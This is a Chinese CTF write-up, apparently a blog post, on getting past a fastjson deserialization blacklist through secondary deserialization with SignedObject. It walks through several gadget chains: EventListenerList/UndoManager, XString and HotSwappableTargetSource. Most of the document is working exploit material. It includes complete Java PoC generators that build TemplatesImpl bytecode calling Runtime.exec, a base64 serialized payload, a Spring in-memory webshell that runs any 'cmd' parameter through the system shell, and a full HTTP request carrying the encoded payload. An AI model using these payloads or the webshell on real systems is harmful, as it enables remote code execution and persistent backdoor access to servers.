fastjson高版本二次反序列化绕过
1674701160110592 技术文章 50浏览 · 9天前

fastjson高版本二次反序列化绕过

代码审计

分析jar包,查看pom.xml文件

有fastjson



查看还有没有其他依赖





访问路由触发反序列化



看重写的resolveClass



看到了黑名单,意味着我们不能以BadAttributeValueExpException#readObjct开头反序列化

但是我们仍然需要去触发二次反序列化

链子分析

最为经典的gadget应该是

* 绕过第一次的TemplatesImpl黑名单检查
BadAttributeValueExpException#readObject
JSONOBJECT#toString
SignedObject#getObject
* 二次反序列化
* 引用绕过JSON自带resolveClass的黑名单检查
BadAttributeValueExpException#readObject
JSONArray#toString
TemplatesImpl#getOutputProperties
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance
TemplatesImpl#defineTransletClasses
TemplatesImpl#defineClass
那么有没有别的办法能够走到JSONOBJECT#toString呢?



答案是有的

参考文章

https://xz.aliyun.com/news/15977



所以最后的链子就是

* 绕过第一次的BadAttributeValueExpException黑名单检查
EventListenerList -->
UndoManager#toString() -->
Vector#toString()
JSONArray#toString
SignedObject#getObject
* 二次反序列化绕过TemplatesImpl黑名单检查
* 引用绕过JSON自带resolveClass的黑名单检查
BadAttributeValueExpException#readObject
JSONArray#toString
TemplatesImpl#getOutputProperties
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance
TemplatesImpl#defineTransletClasses
TemplatesImpl#defineClass
那么找到链子我们就可以开始编写payload了

Payload编写

里面先套一层恶意字节码

public class Poc {
public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
String sh ="Runtime.getRuntime().exec(\"" + cmd + "\");";
System.out.println(sh);
constructor.setBody(sh);
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
byte[] bytes = Repository.lookupClass(SpringMemShell.class).getBytes();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);
}
}
然后到JSONArray#toString

//JSONArray#toString
JSONArray jsonArray2 = new JSONArray();
jsonArray2.add(templates);
然后到BadAttributeValueExpException#readObject

//BadAttributeValueExpException#readObject
BadAttributeValueExpException bd2 = new BadAttributeValueExpException(null);
setValue(bd2,"val",jsonArray2);
然后进行二次反序列化绕过黑名单

//二次反序列化
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(templates, kp.getPrivate(), Signature.getInstance("DSA"));
那么到现在我们剩下的问题就是怎么触发SignedObject#getObject

利用EventListenerList链子走到JSONArray#toString

//JSONArray#toString
JSONArray jsonArray1 = new JSONArray();
jsonArray1.add(signedObject);
/*
EventListenerList -->
UndoManager#toString() -->
Vector#toString()
*/
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(jsonArray1);
setValue(list, "listenerList", new Object[]{InternalError.class, manager});
最后再套一层

HashMap hashMap = new HashMap();
hashMap.put(signedObject,list);
完成



打本地payload

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IAGmphdmEuc2VjdXJpdHkuU2lnbmVkT2JqZWN0Cf+9aCo81f8CAANbAAdjb250ZW50dAACW0JbAAlzaWduYXR1cmVxAH4AA0wADHRoZWFsZ29yaXRobXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdXIAAltCrPMX+AYIVOACAAB4cAAAAoKs7QAFc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAABVsr+ur4AAAAxABgBAAFhBwABAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAAwEABjxpbml0PgEAAygpVgEABENvZGUMAAUABgoABAAIAQARamF2YS9sYW5nL1J1bnRpbWUHAAoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAMAA0KAAsADgEABGNhbGMIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEAClNvdXJjZUZpbGUBAAZhLmphdmEAIQACAAQAAAAAAAEAAQAFAAYAAQAHAAAAGgACAAEAAAAOKrcACbgADxIRtgAVV7EAAAAAAAEAFgAAAAIAF3B0AAExcHcBAHh1cQB+AAYAAAAuMCwCFGHhwai97CSOICAXprtFH03pkhEvAhRLXCmT8ks/rsDQZjpC2G86oQv3MXQAA0RTQXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdLE2xn2E6tZEAwAAeHB0ABdqYXZhLmxhbmcuSW50ZXJuYWxFcnJvcnNyABxqYXZheC5zd2luZy51bmRvLlVuZG9NYW5hZ2Vy4ysheUxxykICAAJJAA5pbmRleE9mTmV4dEFkZEkABWxpbWl0eHIAHWphdmF4LnN3aW5nLnVuZG8uQ29tcG91bmRFZGl0pZ5QulPblf0CAAJaAAppblByb2dyZXNzTAAFZWRpdHN0ABJMamF2YS91dGlsL1ZlY3Rvcjt4cgAlamF2YXguc3dpbmcudW5kby5BYnN0cmFjdFVuZG9hYmxlRWRpdAgNG47tAgsQAgACWgAFYWxpdmVaAAtoYXNCZWVuRG9uZXhwAQEBc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAGRzcgAeY29tLmFsaWJhYmEuZmFzdGpzb24uSlNPTkFycmF5AAAAAAAAAAECAAFMAARsaXN0dAAQTGphdmEvdXRpbC9MaXN0O3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAF3BAAAAAFxAH4ABXhwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB4AAAAAAAAAGRweHg=
打远程payload

由于题目环境不出网,我们需要打springboot的内存马

最终内存马

SpringMemShell.java

package org.shu;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringMemShell extends AbstractTranslet{
static {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = SpringMemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/shell")
.options(config)
.build();
SpringMemShell springControllerMemShell = new SpringMemShell();
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);

} catch (Exception hi) {
// hi.printStackTrace();
}
}

public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}
最终poc

生成的payload

用bp发包一定要二次编码



不然会导致+号被当成空格之类的

生成的payload

POST /deser HTTP/1.1
Host: node.vnteam.cn:46870
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 28484

payload=%72%4f%30%41%42%58%4e%79%41%42%46%71%59%58%5a%68%4c%6e%56%30%61%57%77%75%53%47%46%7a%61%45%31%68%63%41%55%48%32%73%48%44%46%6d%44%52%41%77%41%43%52%67%41%4b%62%47%39%68%5a%45%5a%68%59%33%52%76%63%6b%6b%41%43%58%52%6f%63%6d%56%7a%61%47%39%73%5a%48%68%77%50%30%41%41%41%41%41%41%41%41%78%33%43%41%41%41%41%42%41%41%41%41%41%42%63%33%49%41%47%6d%70%68%64%6d%45%75%63%32%56%6a%64%58%4a%70%64%48%6b%75%55%32%6c%6e%62%6d%56%6b%54%32%4a%71%5a%57%4e%30%43%66%2b%39%61%43%6f%38%31%66%38%43%41%41%4e%62%41%41%64%6a%62%32%35%30%5a%57%35%30%64%41%41%43%57%30%4a%62%41%41%6c%7a%61%57%64%75%59%58%52%31%63%6d%56%78%41%48%34%41%41%30%77%41%44%48%52%6f%5a%57%46%73%5a%32%39%79%61%58%52%6f%62%58%51%41%45%6b%78%71%59%58%5a%68%4c%32%78%68%62%6d%63%76%55%33%52%79%61%57%35%6e%4f%33%68%77%64%58%49%41%41%6c%74%43%72%50%4d%58%2b%41%59%49%56%4f%41%43%41%41%42%34%63%41%41%41%46%2f%65%73%37%51%41%46%63%33%49%41%4f%6d%4e%76%62%53%35%7a%64%57%34%75%62%33%4a%6e%4c%6d%46%77%59%57%4e%6f%5a%53%35%34%59%57%78%68%62%69%35%70%62%6e%52%6c%63%6d%35%68%62%43%35%34%63%32%78%30%59%79%35%30%63%6d%46%34%4c%6c%52%6c%62%58%42%73%59%58%52%6c%63%30%6c%74%63%47%77%4a%56%30%2f%42%62%71%79%72%4d%77%4d%41%42%6b%6b%41%44%56%39%70%62%6d%52%6c%62%6e%52%4f%64%57%31%69%5a%58%4a%4a%41%41%35%66%64%48%4a%68%62%6e%4e%73%5a%58%52%4a%62%6d%52%6c%65%46%73%41%43%6c%39%69%65%58%52%6c%59%32%39%6b%5a%58%4e%30%41%41%4e%62%57%30%4a%62%41%41%5a%66%59%32%78%68%63%33%4e%30%41%42%4a%62%54%47%70%68%64%6d%45%76%62%47%46%75%5a%79%39%44%62%47%46%7a%63%7a%74%4d%41%41%56%66%62%6d%46%74%5a%58%51%41%45%6b%78%71%59%58%5a%68%4c%32%78%68%62%6d%63%76%55%33%52%79%61%57%35%6e%4f%30%77%41%45%56%39%76%64%58%52%77%64%58%52%51%63%6d%39%77%5a%58%4a%30%61%57%56%7a%64%41%41%57%54%47%70%68%64%6d%45%76%64%58%52%70%62%43%39%51%63%6d%39%77%5a%58%4a%30%61%57%56%7a%4f%33%68%77%41%41%41%41%41%50%2f%2f%2f%2f%39%31%63%67%41%44%57%31%74%43%53%2f%30%5a%46%57%64%6e%32%7a%63%43%41%41%42%34%63%41%41%41%41%41%46%31%63%67%41%43%57%30%4b%73%38%78%66%34%42%67%68%55%34%41%49%41%41%48%68%77%41%41%41%57%79%38%72%2b%75%72%34%41%41%41%41%30%41%50%67%4b%41%44
发包之后



得到flag



other gadget

1、Xtring利用链绕过

Hashmap#readobject触发equal的链子,然后XString#equal触发JSON的toString方法也可以

* 绕过第一次的BadAttributeValueExpException黑名单检查
Hashmap#readobject -->
XString#equals -> toString
JSONArray#toString
SignedObject#getObject
* 二次反序列化绕过TemplatesImpl黑名单检查
* 引用绕过JSON自带resolveClass的黑名单检查
BadAttributeValueExpException#readObject
JSONArray#toString
TemplatesImpl#getOutputProperties
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance
TemplatesImpl#defineTransletClasses
TemplatesImpl#defineClass
poc

/**
* @className Poc2
* @Author shushu
* @Data 2025/2/9
**/
package org.shu.vnctf;


import com.alibaba.fastjson.JSONArray;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;
import org.shu.SpringMemShell;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.security.*;
import java.util.*;

import static org.shu.Poc.getFieldValue;

public class Poc2 {
public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
String sh ="Runtime.getRuntime().exec(\"" + cmd + "\");";
System.out.println(sh);
constructor.setBody(sh);
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
//TemplatesImpl#getOutputProperties
// byte[] bytes = Repository.lookupClass(SpringMemShell.class).getBytes();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);
//JSONArray#toString
JSONArray jsonArray2 = new JSONArray();
jsonArray2.add(templates);
//BadAttributeValueExpException#readObject
BadAttributeValueExpException bd2 = new BadAttributeValueExpException(null);
setValue(bd2,"val",jsonArray2);
//二次反序列化
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(templates, kp.getPrivate(), Signature.getInstance("DSA"));
//JSONArray#toString
JSONArray jsonArray1 = new JSONArray();
jsonArray1.add(signedObject);
List<Object> arrays = new ArrayList<>();
// arrays.add(signedObject);
// JSONArray jsonArray = new JSONArray();
// jsonArray.add(signedObject);
arrays.add(getXString(jsonArray1));

Map<String, Object> map = new HashMap<>();
map.put("yy", arrays);

byte[] serialize = serialize(map);

String payload = Base64.getEncoder().encodeToString(serialize);
System.out.println(payload);
deserialize(payload);

}
public static HashMap getXString(Object obj) throws Exception{

XString xstring=new XString("");
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();

hashMap1.put("yy",xstring);
hashMap1.put("zZ",obj);

hashMap2.put("zZ",xstring);
hashMap2.put("yy",obj);

HashMap hashMap = new HashMap();
hashMap.put(hashMap1, 1);
hashMap.put(hashMap2, 2);

return hashMap;
}
public static Object makeTemplatesImplAopProxy(Templates templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}
static Object deserialize(String data) throws Exception {
return new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(data))) { // from class: com.example.demo.DemoController.1
boolean check = false;

@Override // java.io.ObjectInputStream
protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
Class targetc = super.resolveClass(desc);
String className = desc.getName();
String[] denyClasses = { "com.sun.org.apache.xalan.internal.xsltc.trax", "javax.management", "com.fasterxml.jackson" };
int var5 = denyClasses.length;
for (String denyClass : denyClasses) {
if (className.startsWith(denyClass))
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
this.check = true;
return targetc;
}
}.readObject();
}
}



2、利用HotSwappableTargetSource新链

参考文章

https://changeyourway.github.io/2024/06/07/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Rome%E9%93%BE%E4%B9%8BHotSwappableTargetSource%E9%93%BE/#HotSwappableTargetSource-%E4%BB%8B%E7%BB%8D

* 绕过第一次的BadAttributeValueExpException黑名单检查
Hashmap#readobject -->
HotSwappableTargetSource#equals ->
XString#equals -> toString
JSONArray#toString
SignedObject#getObject
* 二次反序列化绕过TemplatesImpl黑名单检查
* 引用绕过JSON自带resolveClass的黑名单检查
BadAttributeValueExpException#readObject
JSONArray#toString
TemplatesImpl#getOutputProperties
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance
TemplatesImpl#defineTransletClasses
TemplatesImpl#defineClass


/**
* @className Poc2
* @Author shushu
* @Data 2025/2/9
**/
package org.shu.vnctf;


import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;
import org.shu.SpringMemShell;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.security.*;
import java.util.*;

import static org.shu.Poc.getFieldValue;

public class Poc2 {
public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
String sh ="Runtime.getRuntime().exec(\"" + cmd + "\");";
System.out.println(sh);
constructor.setBody(sh);
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
//TemplatesImpl#getOutputProperties
byte[] bytes = Repository.lookupClass(SpringMemShell.class).getBytes();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);
//JSONArray#toString
JSONArray jsonArray2 = new JSONArray();
jsonArray2.add(templates);
//BadAttributeValueExpException#readObject
BadAttributeValueExpException bd2 = new BadAttributeValueExpException(null);
setValue(bd2,"val",jsonArray2);
//二次反序列化
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(templates, kp.getPrivate(), Signature.getInstance("DSA"));

JSONArray jsonArray1 = new JSONArray();
jsonArray1.add(signedObject);

HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonArray1);
// this.target 需要是一个 XString 对象
// 为防止 put 时提前命令执行,这里先不设置,随便 new 一个 HashMap 做参数
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new HashMap<>());

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(h1, "test1");
hashMap.put(h2, "test2");

// 反射设置 this.target 为 XString 对象
setValue(h2, "target", new XString("test"));

// Map<String, Object> map = new HashMap<>();
// map.put("yy", arrays);

byte[] serialize = serialize(hashMap);

String payload = Base64.getEncoder().encodeToString(serialize);
System.out.println(payload);
deserialize(payload);

}
public static HashMap getXString(Object obj) throws Exception{

XString xstring=new XString("");
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();

hashMap1.put("yy",xstring);
hashMap1.put("zZ",obj);

hashMap2.put("zZ",xstring);
hashMap2.put("yy",obj);

HashMap hashMap = new HashMap();
hashMap.put(hashMap1, 1);
hashMap.put(hashMap2, 2);

return hashMap;
}
public static Object makeTemplatesImplAopProxy(Templates templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}
static Object deserialize(String data) throws Exception {
return new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(data))) { // from class: com.example.demo.DemoController.1
boolean check = false;

@Override // java.io.ObjectInputStream
protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
Class targetc = super.resolveClass(desc);
String className = desc.getName();
String[] denyClasses = { "com.sun.org.apache.xalan.internal.xsltc.trax", "javax.management", "com.fasterxml.jackson" };
int var5 = denyClasses.length;
for (String denyClass : denyClasses) {
if (className.startsWith(denyClass))
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
this.check = true;
return targetc;
}
}.readObject();
}
}



总结

java的链子其实还是跟php的链子挺像的,但是调用比较难找,而且比较多。

参考文献

https://xz.aliyun.com/news/12052

https://xz.aliyun.com/news/15977

https://changeyourway.github.io/2024/06/07/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Rome%E9%93%BE%E4%B9%8BHotSwappableTargetSource%E9%93%BE/#HotSwappableTargetSource-%E4%BB%8B%E7%BB%8D

0 条评论
某人
表情
可输入字

没有评论